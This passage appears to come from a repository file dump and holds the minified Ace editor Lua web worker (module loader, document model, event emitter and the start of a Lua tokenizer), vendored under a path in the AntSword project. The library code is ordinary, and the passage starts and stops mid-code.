e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "antSword/static/libs/ace/worker-lua.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),ace.define(\"ace/mode/lua/luaparse\",[\"require\",\"exports\",\"module\"],function(e,t,n){(function(e,n,r){r(t)})(this,\"luaparse\",function(e){\"use strict\";function m(e){if(mt){var t=vt.pop();t.complete(),n.locations&&(e.loc=t.loc),n.ranges&&(e.range=t.range)}return e}function w(e,t,n){for(var r=0,i=e.length;r<i;r++)if(e[r][t]===n)return r;return-1}function E(e){var t=g.call(arguments,1);return e=e.replace(/%(\\d)/g,function(e,n){return\"\"+t[n-1]||\"\"}),e}function S(){var e=g.call(arguments),t={},n,r;for(var i=0,s=e.length;i<s;i++){n=e[i];for(r in n)n.hasOwnProperty(r)&&(t[r]=n[r])}return t}function x(e){var t=E.apply(null,g.call(arguments,1)),n,r;throw\"undefined\"!=typeof e.line?(r=e.range[0]-e.lineStart,n=new SyntaxError(E(\"[%1:%2] %3\",e.line,r,t)),n.line=e.line,n.index=e.range[0],n.column=r):(r=C-D+1,n=new SyntaxError(E(\"[%1:%2] %3\",_,r,t)),n.index=C,n.line=_,n.column=r),n}function T(e,t){x(t,d.expectedToken,e,t.value)}function N(e,t){\"undefined\"==typeof t&&(t=A.value);if(\"undefined\"!=typeof e.type){var n;switch(e.type){case o:n=\"string\";break;case u:n=\"keyword\";break;case a:n=\"identifier\";break;case f:n=\"number\";break;case l:n=\"symbol\";break;case c:n=\"boolean\";break;case h:return x(e,d.unexpected,\"symbol\",\"nil\",t)}return x(e,d.unexpected,n,e.value,t)}return x(e,d.unexpected,\"symbol\",e,t)}function P(){H();while(45===t.charCodeAt(C)&&45===t.charCodeAt(C+1))X(),H();if(C>=r)return{type:s,value:\"<eof>\",line:_,lineStart:D,range:[C,C]};var e=t.charCodeAt(C),n=t.charCodeAt(C+1);M=C;if(et(e))return B();switch(e){case 39:case 34:return I();case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:return R();case 46:if(Y(n))return R();if(46===n)return 46===t.charCodeAt(C+2)?F():j(\"..\");return j(\".\");case 61:if(61===n)return j(\"==\");return j(\"=\");case 62:if(61===n)return j(\">=\");return j(\">\");case 60:if(61===n)return j(\"<=\");return j(\"<\");case 126:if(61===n)return j(\"~=\");return x({},d.expected,\"=\",\"~\");case 58:if(58===n)return j(\"::\");return j(\":\");case 91:if(91===n||61===n)return q();return j(\"[\");case 42:case 47:case 94:case 37:case 44:case 123:case 125:case 93:case 40:case 41:case 59:case 35:case 45:case 43:return j(t.charAt(C))}return N(t.charAt(C))}function H(){while(C<r){var e=t.charCodeAt(C);if(Q(e))C++;else{if(!G(e))break;_++,D=++C}}}function B(){var e,n;while(tt(t.charCodeAt(++C)));return e=t.slice(M,C),nt(e)?n=u:\"true\"===e||\"false\"===e?(n=c,e=\"true\"===e):\"nil\"===e?(n=h,e=null):n=a,{type:n,value:e,line:_,lineStart:D,range:[M,C]}}function j(e){return C+=e.length,{type:l,value:e,line:_,lineStart:D,range:[M,C]}}function F(){return C+=3,{type:p,value:\"...\",line:_,lineStart:D,range:[M,C]}}function I(){var e=t.charCodeAt(C++),n=C,i=\"\",s;while(C<r){s=t.charCodeAt(C++);if(e===s)break;if(92===s)i+=t.slice(n,C-1)+W(),n=C;else if(C>=r||G(s))i+=t.slice(n,C-1),x({},d.unfinishedString,i+String.fromCharCode(s))}return i+=t.slice(n,C-1),{type:o,value:i,line:_,lineStart:D,range:[M,C]}}function q(){var e=V();return!1===e&&x(k,d.expected,\"[\",k.value),{type:o,value:e,line:_,lineStart:D,range:[M,C]}}function R(){var e=t.charAt(C),n=t.charAt(C+1),r=\"0\"===e&&\"xX\".indexOf(n||null)>=0?U():z();return{type:f,value:r,line:_,lineStart:D,range:[M,C]}}function U(){var e=0,n=1,r=1,i,s,o,u;u=C+=2,Z(t.charCodeAt(C))||x({},d.malformedNumber,t.slice(M,C));while(Z(t.charCodeAt(C)))C++;i=parseInt(t.slice(u,C),16);if(\".\"===t.charAt(C)){s=++C;while(Z(t.charCodeAt(C)))C++;e=t.slice(s,C),e=s===C?0:parseInt(e,16)/Math.pow(16,C-s)}if(\"pP\".indexOf(t.charAt(C)||null)>=0){C++,\"+-\".indexOf(t.charAt(C)||null)>=0&&(r=\"+\"===t.charAt(C++)?1:-1),o=C,Y(t.charCodeAt(C))||x({},d.malformedNumber,t.slice(M,C));while(Y(t.charCodeAt(C)))C++;n=t.slice(o,C),n=Math.pow(2,n*r)}return(i+e)*n}function z(){while(Y(t.charCodeAt(C)))C++;if(\".\"===t.charAt(C)){C++;while(Y(t.charCodeAt(C)))C++}if(\"eE\".indexOf(t.charAt(C)||null)>=0){C++,\"+-\".indexOf(t.charAt(C)||null)>=0&&C++,Y(t.charCodeAt(C))||x({},d.malformedNumber,t.slice(M,C));while(Y(t.charCodeAt(C)))C++}return 